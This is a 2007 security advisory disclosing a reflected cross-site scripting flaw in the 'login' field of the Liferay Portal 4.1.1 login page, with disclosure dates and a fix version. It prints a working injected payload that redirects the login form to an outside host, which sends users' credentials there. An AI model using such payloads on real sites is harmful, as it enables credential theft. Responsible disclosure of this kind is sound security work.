PR07-02: XSS on Liferay Portal Enterprise 4.1.1 login page ('login' parameter) Nov 15 2007 09:46PM
research procheckup com
Date Found: 6th March 2007

Vendor informed: 26th June 2007


Liferay Portal login page is vulnerable to

Cross-Site Scripting within the "login" field processed by the "/c/portal/login" server-side script.


An attacker may be able to cause the execution of malicious script code in the browser of a user who visits a specially-crafted Liferay Portal URL, or visits a page that submits a request to such URL. Such code would run within the security context of the target domain.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: usernames and passwords) to unauthorised third parties.

Proof of concept (PoC):

The provided XSS PoC URLs overwrite Liferay Portal login form's 'action' attribute. Thus, when the victim user clicks on the "Sign In" button, the credentials (username/password) are sent to a third-party site (procheckup.com in this case).



Injected payload:

"><script>document.fm1.action="http://procheckup.com"</script><a b="c

What's (partially) returned by the server:

<input class="form-text" name="login" style="width: 150px;" type="text" value=""><script>document.fm1.action="http://procheckup.com"</script><a b="c">

Note: the victim user does not need to be authenticated for this vulnerability to be exploitable.

Successfully tested on:

Liferay-Portal: Liferay Portal Enterprise 4.1.1 (Cowper / Build 3101 / August 14, 2006)

(other versions of Liferay Portal might also be affected)

Severity: Medium/High

Author: Adrian Pastor [adrian.pastor [at] procheckup.com] from ProCheckUp Ltd (www.procheckup.com)

ProCheckUp thanks Liferay for fixing this vulnerability so promptly.





The issue was fixed a while back, but re-surfaced in 4.1.0 and 4.1.1.

This issue has been fixed on version 4.1.3 and onwards.

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